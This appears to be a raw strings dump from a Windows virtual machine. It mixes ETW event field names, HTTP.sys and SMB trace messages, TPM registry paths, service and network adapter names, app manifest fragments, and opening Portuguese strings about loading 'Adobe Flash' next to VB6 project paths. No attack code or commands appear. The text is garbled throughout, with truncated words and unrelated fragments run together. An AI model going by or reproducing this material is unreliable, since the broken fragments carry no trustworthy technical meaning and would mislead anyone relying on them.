Carregando... Adobe Flas Adobe Flash COMPUTERNAM COMPUTERNAME USERNAM USERNAME C:\User C:\Users C:\Users\ C:\Users\ o foi poss vel carregar o m dulo especificado.\users\hnews\downloads\novo4\agenda .vbp \Clientes com fotos.vbp syetom\program files\nril Identifier Status NameLength PartitoinName MemoryRangeCount MemorPageCount IoSpaceRangeCount IoSpacePageCount AllocatedMemoryBlockCount AllocatedMemoryRunCount AllocatedMemoryPageCount AllocatedIoSpaceBlockCount AllocatedIoSpaceRunCount AllocatedIoSpacePageCount EventData Data Name Identifier Data Name Status Identifier Status EventData Data Name Identifier Identifier EventData Data Name Identifier Data Name RunCount Data Name PageCount Data Name Status Data Name PartitionNameLength Data Name PartitionName Identifier RunCount PageCount Status PartitionNameLength PartitionName EventData Data Name Identifier Data Name RunCount Data Name PageCount Data Name IoSpaceRunCount Data Name IoSpacePageCount Data Name Status Data Name PartitionNameLength Data Name PartitionName Identifier RunCount PageCount IoSpaceRunCount IoSpacePageCount Status PartitionNameLength PartitionName EventData Data Name Status Data Name ActualSize Data Name ExpectedSize Status ActualSize ExpectedSize EventData Data Name Status Data Name ActualSize Data Name ExpectedSize Data Name Status ActualSize VolumeDeviceGuid PeriodDurationMicroSec SynchronousWriteIoCountsBucket1 SynchronousWriteIoCountsBucket2 SynchronousWriteIoCountsBucket3 SynchronousWriteIoCountsBucket4 SynchronousWriteIoCountsBucket5 SynchronousWriteIoCountsBucket6 SynchronousWriteIoCountsBucket7 SynchronousWriteIoCountsBucket8 SynchronousWriteIoCountsBucket9 SynchronousWriteIoCountsBucket10 SynchronousWriteIoCountsBucket11 SynchronousWriteIoCountsBucket12 SynchronousWriteTotalLatencyBucket1 SynchronousWriteTotalLatencyBucket2 SynchronousWriteTotalLatencyBucket3 SynchronousWriteTotalLatencyBucket4 SynchronousWriteTotalLatencyBucket5 SynchronousWriteTotalLatencyBucket6 SynchronousWriteTotalLatencyBucket7 SynchronousWriteTotalLatencyBucket8 SynchronousWriteTotalLatencyBucket9 SynchronousWriteTotalLatencyBucket10 SynchronousWriteTotalLatencyBucket11 SynchronousWriteTotalLatencyBucket12 SynchronousWriteNonBlockingIoCountsBucket1 SynchronousWriteNonBlockingIoCountsBucket2 SynchronousWriteNonBlockingIoCountsBucket3 SynchronousWriteNonBlockingIoCountsBucket4 SynchronousWriteNonBlockingIoCountsBucket5 SynchronousWriteNonBlockingIoCountsBucket6 SynchronousWriteNonBlockingIoCountsBucket7 SynchronousWriteNonBlockingIoCountsBucket8 SynchronousWriteNonBlockingIoCountsBucket9 SynchronousWriteNonBlockingIoCountsBucket10 SynchronousWriteNonBlockingIoCountsBucket11 SynchronousWriteNonBlockingIoCountsBucket12 SynchronousWriteNonBlockingTotalLatencyBucket1 SynchronousWriteNonBlockingTotalLatencyBucket2 SynchronousWriteNonBlockingTotalLatencyBucket3 SynchronousWriteNonBlockingTotalLatencyBucket4 SynchronousWriteNonBlockingTotalLatencyBucket5 SynchronousWriteNonBlockingTotalLatencyBucket6 SynchronousWriteNonBlockingTotalLatencyBucket7 SynchronousWriteNonBlockingTotalLatencyBucket8 SynchronousWriteNonBlockingTotalLatencyBucket9 SynchronousWriteNonBlockingTotalLatencyBucket10 SynchronousWriucket1 Data Name *SynchronousWriteNonBlockingIoCountsBucket2 Data Name *SynchronousWriteNonBlockingIoCountsBucket3 Data Name *SynchronousWriteNonBlockingIoCountsBucket4 Data Name *SynchronousWriteNonBlockingIoCountsBucket5 Data Name *SynchronousWriteNonBlockingIoCountsBucket6 Data Name *SynchronousWriteNonBlockingIoCountsBucket7 Data Name *SynchronousWriteNonBlockingIoCountsBucket8 Data Name *SynchronousWriteNonBlockingIoCountsBucket9 Data Name +SynchronousWriteNonBlockingIoCountsBucket10 Data Name +SynchronousWriteNonBlockingIoCountsBucket11 Data Name +SynchronousWriteNonBlockingIoCountsBucket12 Data Name .SynchronousWriteNonBlockingTotalLatencyBucket1 Data Name .SynchronousWriteNonBlockingTotalLatencyBucket2 Data Name .SynchronousWriteNonBlockingTotalLatencyBucket3 Data Name .SynchronousWriteNonBlockingTotalLatencyBucket4 Data Name .SynchronousWriteNonBlockingTotalLatencyBucket5 Data Name .SynchronousWriteNonBlockingTotalLatencyBucket6 Data Name .SynchronousWriteNonBlockingTotalLatencyBucket7 Data Name .SynchronousWriteNonBlockingTotalLatencyBucket8 Data Name .SynchronousWriteNonBlockingTotalLatencyBucket9 Data Name /SynchronousWriteNonBlockingTotalLatencyBucket10 Data Name /SynchronousWriteNonBlockingTotalLatencyBucket11 Data Name /SynchronousWriteNonBlockingTotalLatencyBucket12 3++S++ ++S+ 3++S++ 1-4fde-bab8-9b8a ++S+ 3++S nect n th 3++S++ 3++S++ 3++S++ Negotiate Microsoft Package Negotiator C:\WINDOWS\system32\svchost.exe -k netsvcs -p Schannel Schannel Security Package C:\WINDOWS\system32\schannel.DLL WDigest Digest Authentication for Windows C:\WINDOWS\system32\wdigest.DLL me3\ System32 \Registry\Machine\System\CurrentControlSet\Control\IntegrityServices WBCLTrustPoint WBCLDrtm WBCL TpmRegDriverPersistedData System\CurrentControlSet\Services\TPM\WMI WindowsAIKHash ntdll.dll kernelbase.dll WBCLDrtmColdboot WBCLColdboot TpmLockoutCountIncreased TpmLockedOut TpmInFailureMode TpmFailedToInitialize System\CurrentControlSet\services\TPM TpmRegDriverTpm OsBootCount WBCLPath %s\Logs\MeasuredBoot TpmDriverLogPath %s\%010u-%010u-DRTM.log %s\%010u-%010u.log System\CurrentControlSet\Control\IntegrityServices OsResumeCount TpmRegDriverPersistedDataAdmin System\CurrentControlSet\Services\TPM\WMI\Admin TpmRegDriverPersistedDataEndorsement System\CurrentControlSet\Modules PUBLIC=C:\Users\Public SystemDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\WINDOWS\SERVIC~1\LOCALS~1\AppData\Local\Temp TMP=C:\WINDOWS\SERVIC~1\LOCALS~1\AppData\Local\Temp USERDOMAIN=NT AUTHORITY USERNAME=LOCAL SERVICE USERPROFILE=C:\WINDOWS\ServiceProfiles\LocalService windir=C:\WINDOWS EventData Data Name VirtualDisk VirtualDisk EventData Data Name VhdFile Data Name VmId Data Name Status VhdFile VmId Status EventData Data Name VhdFile Data Name IoTypeStr Data Name IntervalDurationStr Data Name MaxLatencyMs Data Name HighLatencyIoCount Data Name TotalIoCount Data Name AverageIops Data Name AverageLatencyNs Data Name AverageLatencyStr Data Name LatencyBuckets Data Name IoCount0 Data Name IoCount1 Data Name IoCount2 Data Name IoCount3 Data Name IoCount4 Data Name IoCount5 Data Name IoCount6 Data Name IoCount7 Data Name IoCount8 Data Name IoCount9 Data Name IoCount10 Data Name IoCount11 Data Name IoCount12 Data Name IoCount13 Data Name IoCount14 Data Name IoCount15 Data Name TotalTimeNs0 Data Name TotalTimeNs1 Data Name TotalTimeNs2 Data Name TotalTimeNs3 Data Name TotalTimeNs4 Data Name TotalTimeNs5 Data Name TotalTimeNs6 Data Name TotalTimeNs7 Data Name TotalTimeNs8 Data Name TotalTimeNs9 Data Name TotalTimeNs10 Data Name TotalTimeNs11 Data Name TotalTimeNs12 Data Name TotalTimeNs13 Data Name TotalTimeNs14 Data Name TotalTimeNs15 Data Name SnapshotId CorruptionReason EventData Data Name VhdFileName VhdFileName EventData Data Name VhdId Data Name VhdIoType Data Name VhdSrbType Data Name Offset Data Name Length VhdId VhdIoType VhdSrbType Offset Length EventData Data Name VhdFile Data Name Status VhdFile Status EventData Data Name VhdFile Data Name VmId Data Name VhdIoType Data Name VhdSrbType Data Name Offset Data Name Length Data Name Status VhdFile VmId VhdIoType VhdSrbType Offset Length Status EventData Data Name VhdFile Data Name VmId Data Name VhdIoType Data Name Status VhdFile VmId VhdIoType Status EventData Data Name VhdFile Data Name VmId VhdFile VmId EventData Data Name VhdFile Data Name VmId Data Name Status VhdFile VmId Status EventData Data Name VhdFile Data Name VmId Data Name Status VhdFile VmId Status EventData Data Name VhdFile Data Name VmId Data Name Mode Data Name Status VhdFile VmId Mode Status EventData Data Name VhdFile ++S+ { "flags" : "0x00000008" , "registration_version" : "0x00000203" , "tx" : false , "sections" : false , "frame" : 0 , "class_name" : "FSFilter Virtualization" , "supportedFeatures": "0x00000007" , "instances" : [["150000","0x00000000"]] } luafv { "flags" : "0x00000094" , "registration_version" : "0x00000203" , "tx" : false , "sections" : false , "frame" : 0 , "class_name" : "FSFilter Virtualization" , "supportedFeatures": "0x0000000F" , "instances" : [["135000","0x00000000"]] } wcifs { "flags" : "0x00000094" , "registration_version" : "0x00000203" , "tx" : false , "sections" : false , "frame" : 0 , "class_name" : "FSFilter Virtualization" , "supportedFeatures": "0x0000000F" , "instances" : [["189900","0x00000000"],["189899","0x00000000"]] } CldFlt { "flags" : "0x00000090" , "registration_version" : "0x00000203" , "tx" : false , "sections" : false , "frame" : 0 , "class_name" : "FSFilter HSM" , "supportedFeatures": "0x0000000F" , "instances" : [["409500","0x00000000"]] } CldFlt CldFlt { "flags" : "0x00000090" , "registration_version" : "0x00000203" , "tx" : false , "sections" : false , "frame" : 0 , "class_name" : "FSFilter HSM" , "supportedFeatures": "0x0000000F" , "instances" : [["180451","0x00000000"]] } UnionFS { "flags" : "0x00000094" , "registration_version" : "0x00000203" , "tx" : fal \Registry\Machine\System\CurrentControlSet\Services\ anWorkStation\Parameters\MultichannelConstra "Microsoft Window 2\ntdll.dll s\System32\windo SubC oot%\TEMP les%\WindowsPowerShell\Modules;%SystemRoot%\system32\WindowsPowerShell\v1.0\Modules ComSpec %SystemRoot%\system32\cmd.exe windir%SystemRoot% ot%\system32\cmd.exe PROCESSOR_ARCHITECTUREAMD64 TEMP %SystemRoot%\TEMP DriverDataC:\Windows\System32\Drivers\DriverData NUMBER_OF_PROCESSORS PROCESSOR_REVISIONba02 PROCESSOR_IDENTIFIER Intel64 Family 6 Model 186 Stepping 2, GenuineIntel PROCESSOR_REVISIONba02 iles%\WindowsPowerShell\Modules;%SystemRoot%\system32\WindowsPowerShell\v1.0\Modules NUMBER_OF_PROCESSORS NUMBER_OF_PROCESSORS OSWindows_NT PROCESSOR_REVISIONba02 PROCESSOR_IDENTIFIER Intel64 Family 6 Model 186 Stepping 2, GenuineIntel stemP PROCESSOR_ (R) 82574L Gigabit Network Connection-WFP Native MAC Layer LightWeight Filter-0000 Intel(R) 82574L Gigabit Network Connection-QoS Packet Scheduler-0000 Intel(R) 82574L Gigabit Network Connection-WFP 802.3 MAC Layer LightWeight Filter-0000 TIntel(R) 82574L Gigabit Network Connection LMicrosoft Kernel Debug Network Adapter "WAN Miniport (IP) &WAN Miniport (IPv6) rtPropSvc CertPropSvc CDPSvc CDPSvc camsvc camsvc bthserv bthserv BthAvctpSvc BthAvctpSvc BTAGService BTAGService BrokerInfrastructure BrokerInfrastructure BITS BITS BDESVC BDESVC AxInstSV AxInstSV autotimesvc autotimesvc Audiosrv Audiosrv AudioEndpointBuilder AudioEndpointBuilder AssignedAccessManagerSvc AssignedAccessManagerSvc ApxSvc ApxSvc AppXSvc AppXSvc AppVClient AppVClient AppReadiness AppReadiness AppMgmt AppMgmt Appinfo Appinfo AppIDSvc AppIDSvc ADPSvc ADPSvc Microsoft-Windows-DriverProxy/Performance Microsoft-Windows-DriverProxy/Operational EventData Data Name DriverNameLength Data Name Driver Data Name :AvgServiceLockAcquisitionTimeInLastLogPeriodInMicroSeconds Data Name +AvgServiceLockAcquisitionTimeInMicroSeconds Data alAcquis Data Name LastServiceStatus Data Name kAcq lInM onTi PreProcess eInM Seconds Data ockA localdomain Ethernet0 Intel(R) 82574L Gigabit Network Connection Loopback Pseudo-Interface 1 Software Loopback Interface 1 BootDiagMessageMap DebuggerStatusMap DmaProtectedRangeProperty EnableDisableReasonMap PlutonLoadFailureMap PpamInfoMap SbatUpdateStatusMap SecureBootBcdMitigationMap TxtStatusMap VsmPolicyMap EventData Data Name SqmType Data Name SqmSessionGuid Data Name SqmID Data Name SqmStreamRowLength ComplexData Name SqmStreamRow SqmType SqmSessionGuid SqmID SqmStreamRowLength SqmStreamRow SqmTypeEntry SqmDWORDEntry SqmStringEntry rsistedLogger ETW_TASK_ENABLE_INFO ETW_TASK_LOST_TLG_EVENT ETW_TASK_LOST_WPP_EVENT ETW_TASK_LOST_SYSTEM_EVENT ETW_KEYWORD_SESSION ETW_KEYWORD_PROVIDER ETW_KEYWORD_LOST_EVENT ETW_KEYWORD_SOFT_RESTART ETW_KEYWORD_CAPTURE_STATE ETW_KEYWORD_REGISTRATION ETW_KEYWORD_ENABLEMENT ETW_KEYWORD_GROUP C:\WINDOWS\system32\svchost.exe -k LocalServiceAndNoImpersonation -p ng with potential personally identifiable information Classic Info RecvReq Parse Deliver RecvResp RecvRespLast RecvBody RecvBodyLast FastRespLast FastResp CachedAndSend FastSend ZeroSend SndError LastSndError SrvdFrmCache CachedNotModified ResvUrl ConnConnect ConnClose ConnCleanup ChgUrlGrpProp ChgSrvSesProp ChgReqQueueProp AddUrl RemUrl RemAllUrls AddedCacheEntry AddCacheEntryFailed FlushedCache SslConnEvent SslInitiateHandshake SslHandshakeComplete SslInititateSslRcvClientCert SslRcvClientCertFailed SslRcvdRawData SslDlvrdStreamData SslAcceptStreamData ReadIpListEntry CreatedSslCred SendComplete SspiCall AuthCacheEntryAdded AuthCacheEntryFreed ConnIdAssgn QosFlowSetReset LoggingConfigFailed LoggingConfig LogFileCreateFailed LogFileCreate LogFileWrite ParseRequestFailed ConnTimedOut SslEndpointCreationFailed SslDisconnEvent SslDisconnReq SslUnsealMsg SslQueryConnInfoFailed SslEndpointConfigNotFound SslAsc SslSealMsg RequestRejected RequestCancelled HotAddProcFailed HotAddProcSucceeded UserResponseFlowInit CachedResponseFlowInit FlowInitFailed SetConnectionFlow RequestAssociatedToConfigurationFlow ConnectionFlowFailed ResponseRangeProcessingOK BeginBuildingSlices SendSliceCacheContent CachedSlicesMatchContent MergeSlicesToCache FlatCacheRangeSend ChannelBindAscParams ServiceBindCheckComplete ChannelBindConfigCapture ChannelBindPerResponseConfig UsePolicyBasedQoSFlow ThreadPoolExtension ThreadReady ThreadPoolTrim ThreadGone SniParsed InitiateOpaqueMode EndpointAutoGenerated AutoGeneratedEndpointDeleted SslEndpointConfigFound SslEndpointConfigRejected SslHandshakeFailure HttpErrorResponseSent SslRenegotiateTimedOut Http11Required QuicCounts WskCounts QuicConnection QuicConnectionCallback QuicStream QuicStreamCallback QuicRegistration ClientCorrelation ResvUrlV2 AddUrl RemUrl RemAllUrls CreateUrlGroup DeleteUrlGroup ChgUrlGrpProp FlushResponseCache SslCertSettingsDeleted SslCertSettingsCreated SslCertSettingsUpdeted SetIpListenList QuicTls13Disabled RequestQueueOverflow CreatHttp2Stream AbortHttp2Stream SendHttp2Stream Http2DataIndicate Http2HeaderIndicate Http2GoAway Http2Fault CreatHttp2Connection CreatHttp2Detach SslQueryCipherInfoFailed Stop Reservation for namespace identified by URL prefix %2 was successfully added. Reservation for namespace identified by URL prefix %2 was successfully deleted. Unable to convert all entries on IP Listen-Only list. Driver will listen on all available interfaces. Error Warning Information HTTP Request Trace Task HTTP Setup Trace Task HTTP Connection Trace Task HTTP Configuration Property Trace Task HTTP Authentication Trace Task HTTP SSL Trace Task HTTP Cache Trace Task HTTP Logging Trace Task HTTP Timeout Trace Task HTTP Driver Global Settings Task HTTP Thread Pool HTTP Response Trace Task The host %2 has gone down as a result of the change in the IP Listen-Only list. The host %2 has come up as a result of the change in the IP Listen-Only list. SSL Certificate Settings deleted for endpoint : %2 . SSL Certificate Settings created by an admin process for endpoint : %2 . SSL Certificate Settings updated by an admin process for endpoint : %2 . Microsoft-Windows-HttpService HTTP Service Channel System Microsoft-Windows-HttpLog HTTP Log Channel Microsoft-Windows-HttpEvent Request received (request ID %1) on connection (connection ID %2) from remote address %4. Parsed request (request pointer %1, method %2) with URI %3. Delivered request to server application (request pointer %1, request ID %2, site ID %3) from request queue %4 for URI %5 with status %6. Server application passed response (request ID %1, connection ID %2, method %4, header length %5, number of entity chunks %6, cache policy %7) with status code %3. Server application passed the last response (corresponding to request ID %1). Server application passed entity body for request ID %1 (connection ID %2). Server application passed the last entity body for request ID %1. Server application passed response (request ID %1, connection ID %2, method %4, header length %5, number of entity chunks %6, cache policy %7) with status code %3. Server application passed the last response (corresponding to request ID %1). Response ready for send (corresponding to request ID %1) with status code %2. Cached the response (corresponding to request ID %1) with status code %2. Response to be sent. Queued last response (corresponding to request ID %1) for sending. Status code is %2. Response s spondi isconnect P ror occuP ng t ast response@ rresponding to request ID ) with status code %2. A TCP Reset has been sent. Error request ID %1). will 3++S++ Name BeginSmbSendAsyncPostWorkerCount Data Name (HitCountBeginSmbSendAsyncPostWorkerCount Data Name SmbdPrepareSend Data Name HitCountSmbdPrepareSend Data Name ServerTimeTakenToReply Data Name HitCountServerTimeTakenToReply Data Name CreateReceive Data Name HitCountCreateReceive BufferContext InstanceId TotalDuration Initialized HitCountInitialized RDMAGetDescriptors HitCountRDMAGetDescriptors AssociateMID HitCountAssociateMID Assembly HitCountAssembly BeginSmbSend HitCountBeginSmbSend BeginSmbSendAsyncPostWorkerCount HitCountBeginSmbSendAsyncPostWorkerCount SmbdPrepareSend HitCountSmbdPrepareSend ServerTimeTakenToReply HitCountServerTimeTakenToReply CreateReceive HitCountCreateReceive EventData Data Name BufferContext Data Name InstanceId Data Name TotalDuration Data Name Initialized Data Name HitCountInitialized Data Name RDMAGetDescriptors Data Name HitCountRDMAGetDescriptors Data Name AssociateMID Data Name HitCountAssociateMID Data Name Assembly Data Name HitCountAssembly Data Name BeginSmbSend Data Name HitCountBeginSmbSend Data Name BeginSmbSendAsyncPostWorkerCount Data Name (HitCountBeginSmbSendAsyncPostWorkerCount Data Name SmbdPrepareSend Data Name HitCountSmbdPrepareSend Data Name ServerTimeTakenToReply Data Name HitCountServerTimeTakenToReply Data Name CloseReceive Data Name HitCountCloseReceive BufferContext InstanceId TotalDuration Initialized HitCountInitialized RDMAGetDescriptors HitCountRDMAGetDescriptors AssociateMID HitCountAssociateMID Assembly HitCountAssembly BeginSmbSend HitCountBeginSmbSend BeginSmbSendAsyncPostWorkerCount HitCountBeginSmbSendAsyncPostWorkerCount SmbdPrepareSend HitCountSmbdPrepareSend ServerTimeTakenToReply HitCountServerTimeTakenToReply CloseReceive HitCountCloseReceive EventData Data Name BufferContext Data Name InstanceId Data Name TotalDuration Data Name Initialized Data Name HitCountInitialized Data Name RDMAGetDescriptors Data Name HitCountRDMAGetDescriptors Data Name AssociateMID Data Name HitCountAssociateMID Data Name Assembly Data Name HitCountAssembly Data Name BeginSmbSend Data Name HitCountBeginSmbSend Data Name BeginSmbSendAsyncPostWorkerCount Data Name (HitCountBeginSmbSendAsyncPostWorkerCount Data Name SmbdPrepareSend Data Name HitCountSmbdPrepareSend Data Name ServerTimeTakenToReply Data Name HitCountServerTimeTakenToReply Data Name QueryDirectoryReceive Data Name HitCountQueryDirectoryReceive BufferContext InstanceId TotalDuration Initialized HitCountInitialized RDMAGetDescriptors HitCountRDMAGetDescriptors AssociateMID HitCountAssociateMID Assembly HitCountAssembly BeginSmbSend HitCountBeginSmbSend BeginSmbSendAsyncPostWorkerCount HitCountBeginSmbSendAsyncPostWorkerCount SmbdPrepareSend HitCountSmbdPrepareSend ServerTimeTakenToReply HitCountServerTimeTakenToReply QueryDirectoryReceive HitCountQueryDirectoryReceive EventData Data Name BufferContext Data Name InstanceId Data Name TotalDuration Data Name Initialized Data Name HitCountInitialized Data Name RDMAGetDescriptors Data Name HitCountRDMAGetDescriptors Data Name AssociateMID Data Name HitCountAssociateMID Data Name Assembly Data Name HitCountAssembly Data Name BeginSmbSend Data Name HitCountBeginSmbSend Data Name BeginSmbSendAsyncPostWorkerCount Data Name (HitCountBeginSmbSendAsyncPostWorkerCount Data Name SmbdPrepareSend Data Name HitCountSmbdPrepareSend Data Name ServerTimeTakenToReply Data Name HitCountServerTimeTakenToReply Data Name FsctlReceive Data Name HitCountFsctlReceive BufferContext InstanceId TotalDuration Initialized HitCountInitialized RDMAGetDescriptors HitCountRDMAGetDescriptors AssociateMID HitCountAssociateMID Assembly HitCountAssembly BeginSmbSend HitCountBeginSmbSend BeginSmbSendAsyncPostWorkerCount HitCountBeginSmbSendAsyncPostWorkerCount SmbdPrepareSend HitCountSmbdPrepareSend ServerTimeTakenToReply HitCountServerTimeTakenToReply FsctlReceive HitCountFsctlReceive EventData Data Name InstanceId Data Name PrefixLength Data Name Prefix Data Name ServerShareLength Data Name ServerShare InstanceId PrefixLength Prefix ServerShareLength ServerShare EventData Data Name ActiveRdmaResourceCount ActiveRdmaResourceCount EventData Data Name NoOp NoOp EventData EventData Data Name NoOp NoOp EventData xmlns Smb2Namespace IsSuccess LoadStatus ServicePathLength ServicePath IsSuccess LoadStatus ServicePathLength ServicePath EventData xmlns Smb2Namespace IsSuccess LoadStatus ServicePathLength ServicePath DeviceNameLength DeviceName IsSuccess LoadStatus ServicePathLength ServicePath DeviceNameLength DeviceName EventData xmlns Smb2Namespace ComponentCapabilities PatchNumber ComponentCapabilities PatchNumber EventData Data Name PortNumber Data Name ServerNameLength Data Name ServerName Data Name TransportNameLength Data Name TransportName PortNumber ServerNameLength ServerName TransportNameLength TransportName EventData Data Name ServerNameLength Data Name ServerName Data Name ConnectionType Data Name RemoteAddressLength Data Name RemoteAddress Data Name LocalAddressLength Data Name LocalAddress Data Name InstanceNameLength Panel\De CloseProcessing HitCountCloseProcessing CallMiniRdr_MRXSMB HitCountCallMiniRdr_MRXSMB LowIoCompletionRoutine HitCountLowIoCompletionRoutine CompleteIRP HitCountCompleteIRP PostIOCompletion HitCountPostIOCompletion PostIORetry HitCountPostIORetry EventData Data Name RxContext Data Name InstanceId Data Name Data Name TotalDuration Data Name Construction Data Name HitCountConstruction Data Name DispatchProcessing Data Name HitCountDispatchProcessing Data Name QueryDirectoryProcessing Data Name HitCountQueryDirectoryProcessing Data Name CallMiniRdr_MRXSMB Data Name HitCountCallMiniRdr_MRXSMB Data Name LowIoCompletionRoutine Data Name HitCountLowIoCompletionRoutine Data Name CompleteIRP Data Name HitCountCompleteIRP Data Name PostIOCompletion Data Name HitCountPostIOCompletion Data Name PostIORetry Data Name HitCountPostIORetry RxContext InstanceId TotalDuration Construction HitCountConstruction DispatchProcessing HitCountDispatchProcessing QueryDirectoryProcessing HitCountQueryDirectoryProcessing CallMiniRdr_MRXSMB HitCountCallMiniRdr_MRXSMB LowIoCompletionRoutine HitCountLowIoCompletionRoutine CompleteIRP HitCountCompleteIRP PostIOCompletion HitCountPostIOCompletion PostIORetry HitCountPostIORetry EventData Data Name RxContext Data Name InstanceId Data Name Data Name TotalDuration Data Name Construction Data Name HitCountConstruction Data Name DispatchProcessing Data Name HitCountDispatchProcessing Data Name FsctlProcessing Data Name HitCountFsctlProcessing Data Name CallMiniRdr_MRXSMB Data Name HitCountCallMiniRdr_MRXSMB Data Name LowIoCompletionRoutine Data Name HitCountLowIoCompletionRoutine Data Name CompleteIRP Data Name HitCountCompleteIRP Data Name PostIOCompletion Data Name HitCountPostIOCompletion Data Name PostIORetry Data Name HitCountPostIORetry RxContext InstanceId TotalDuration Construction HitCountConstruction DispatchProcessing HitCountDispatchProcessing FsctlProcessing HitCountFsctlProcessing CallMiniRdr_MRXSMB HitCountCallMiniRdr_MRXSMB LowIoCompletionRoutine HitCountLowIoCompletionRoutine CompleteIRP HitCountCompleteIRP PostIOCompletion HitCountPostIOCompletion PostIORetry HitCountPostIORetry EventData Data Name Exchange Data Name InstanceId Data Name TotalDuration Data Name RestartCount Data Name ResolvingConnectionObjects Data Name "HitCountResolvingConnectionObjects Data Name CommandProcessing Data Name HitCountCommandProcessing Data Name ReadStart Data Name HitCountReadStart Data Name ReadBuildAndSendChunks Data Name HitCountReadBuildAndSendChunks Data Name CommandFinalizationCallback Data Name #HitCountCommandFinalizationCallback Data Name Finalize Data Name HitCountFinalize Data Name PostFinalizeWorker Data Name HitCountPostFinalizeWorker Data Name FinalizeWorkerHitCount Data Name HitCountFinalizeWorkerHitCount Exchange InstanceId TotalDuration RestartCount ResolvingConnectionObjects HitCountResolvingConnectionObjects CommandProcessing HitCountCommandProcessing ReadStart HitCountReadStart ReadBuildAndSendChunks HitCountReadBuildAndSendChunks CommandFinalizationCallback HitCountCommandFinalizationCallback Finalize HitCountFinalize PostFinalizeWorker HitCountPostFinalizeWorker FinalizeWorkerHitCount HitCountFinalizeWorkerHitCount EventData Data Name Exchange Data Name RxContext Data Name ByteCount Data Name InstanceId Data Name TotalDuration Data Name RestartCount Data Name ResolvingConnectionObjects Data Name "HitCountResolvingConnectionObjects Data Name CommandProcessing Data Name HitCountCommandProcessing Data Name ReadStart Data Name HitCountReadStart Data Name ReadBuildAndSendChunks Data Name HitCountReadBuildAndSendChunks Data Name CommandFinalizationCallback Data Name #HitCountCommandFinalizationCallback Data Name Finalize Data Name HitCountFinalize Data Name PostFinalizeWorker Data Name HitCountPostFinalizeWorker Data Name FinalizeWorkerHitCount Data Name HitCountFinalizeWorkerHitCount Data Name TurboIOStart Data Name HitCountTurboIOStart Data Name TurboIOComplete Data Name HitCountTurboIOComplete Exchange RxContext ByteCount InstanceId TotalDuration RestartCount ResolvingCon ionObjects ects CommandProce Start HitCountReadStart BuildAnd Chun ndChunks Work HitCou stFinalize/ rker Finalize erHi ount HitCountFinalizeWorkerHitCount Turb tart 3++S++ CallingProcessId CallingProcessCreateTime CallingProcessStartKey CallingProcessSignatureLevel CallingProcessSectionSignatureLevel CallingProcessProtection CallingThreadId CallingThreadCreateTime TargetProcessId TargetProcessCreateTime TargetProcessStartKey TargetProcessSignatureLevel TargetProcessSectionSignatureLevel TargetProcessProtection TargetThreadId TargetThreadCreateTime ContextFlags ContextMask Reg0 Reg1 Reg2 Reg3 Reg4 Reg5 Reg6 Reg7 RealEventTime PcVadQueryResult PcVadAllocationBase PcVadAllocationProtect PcVadRegionType PcVadRegionSize PcVadCommitSize PcVadMmfName EventData Data Name OperationStatus Data Name CallingProcessId Data Name CallingProcessCreateTime Data Name CallingProcessStartKey Data Name CallingProcessSignatureLevel Data Name #CallingProcessSectionSignatureLevel Data Name CallingProcessProtection Data Name CallingThreadId Data Name CallingThreadCreateTime Data Name TargetProcessId Data Name TargetProcessCreateTime Data Name TargetProcessStartKey Data Name TargetProcessSignatureLevel Data Name "TargetProcessSectionSignatureLevel Data Name TargetProcessProtection Data Name BaseAddress Data Name BytesCopied OperationStatus CallingProcessId 0Local Area Connection* 3 0Local Area Connection* 4 0Local Area Connection* 5 6Loopback Pseudo-Interface 1 BTeredo Tunneling Pseudo-Interface JMicrosoft IP-HTTPS Platform Interface 6to4 Adapter 0Local Area Connection* 1 0Local Area Connection* 2 jEthernet0-WFP 802.3 MAC Layer LightWeight Filter-0000 Ethernet0 4Ethernet (Kernel Debugger) 0Local Area Connection* 6 0Local Area Connection* 7 0Local Area Connection* 8 nUI3.WidgetView.XamlMetaDataProvider *ResourceDictionaries &ResourceDictionary #text Widgets.WinUI3.WidgetView.WidgetViewWinUI3Resources @Category windows.appExtension AppExtension @Name com.microsoft.windows.extensionpackage WidgetViewWinUI3 @DisplayName Extension Metadata Properties PackageAliases PackageAlias #text WidgetViewWinUI3Alias ms-quick-assist @Category windows.protocol Protocol @Name ms-quick-assist @Parameters DisplayName$MRT DisplayName #text ms-quick-assist @Category windows.appExecutionAlias $AppExecutionAlias ExecutionAlias @Alias MediaPlayer.exe @Category windows.autoPlayContent AutoPlayContent LaunchAction @Verb play-cd-audio @ContentEvent PlayCDAudioOnArrival &@ActionDisplayName ms-resource:PlayAudioCDAutoPlayDisplayName @Verb play-enhancedcd-audio @ContentEvent PlayEnhancedCDOnArrival &@ActionDisplayName ms-resource:PlayAudioCDAutoPlayDisplayName Assets\txtfile.png @Category windows.fileTypeAssociation (FileTypeAssociation @Name anyfile Logo$MRT Logo #text Assets\txtfile.png &SupportedFileTypes FileType ms-resource:Resources/FileTypeDisplayName_Inffile Logo$MRT Logo #text Assets\inifile.png &SupportedFileTypes FileType #text .inf SupportedVerbs Verb Edit @Parameters #text ms-resource:Resources/ShellContextMenuEdit Print @Parameters /p %1 #text ms-resource:Resources/ShellContextMenuPrint PrintTo @Parameters /pt "%1" "%2" "%3" "%4" #text ms-resource:Resources/ShellContextMenuPrint @Category windows.protocol Protocol @Name ms-playto-audio @Category windows.protocol Protocol @Name ms-media-player Assets\AppTiles\AppIcon.png @{Microsoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.YourPhone/YourPhone/Resources/AppName} @Category windows.protocol Protocol @Name Logo$MRT Logo #text Assets\AppTiles\AppIcon.png DisplayName$MRT DisplayName #text ms-resource://Microsoft.YourPhone/YourPhone/Resources/AppName @Category windows.protocol Protocol @Name mswindowsmusic Assets\MediaPlayerFileExtension.png @Category windows.fileTypeAssociation (FileTypeAssociation @Name fileassociations Logo$MRT Logo #text Asse @Category windows.backgroundTasks @EntryPoint SharedUtilities.Stub.BackgroundTasks.HydrateBackgroundTask BackgroundTasks Task @Type systemEvent @Type timer @Category windows.preInstalledConfigTask @EntryPoint SharedUtilities.Stub.BackgroundTasks.RegisterBackgroundTasks @Category windows.updateTask @EntryPoint SharedUtilities.Stub.BackgroundTasks.RegisterBackgroundTasks @Category windows.shareTarget ShareTarget &SupportedFileTypes (SupportsAnyFileType DataFormat #text WebLink @Category windows.toastNotificationActivation 8ToastNotificationActi !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ 3++S++ \Device\vmmemctl \DosDevices\Global\vmmemctl PduFull Audit Failure Info Start Stop Send Error Warning Information 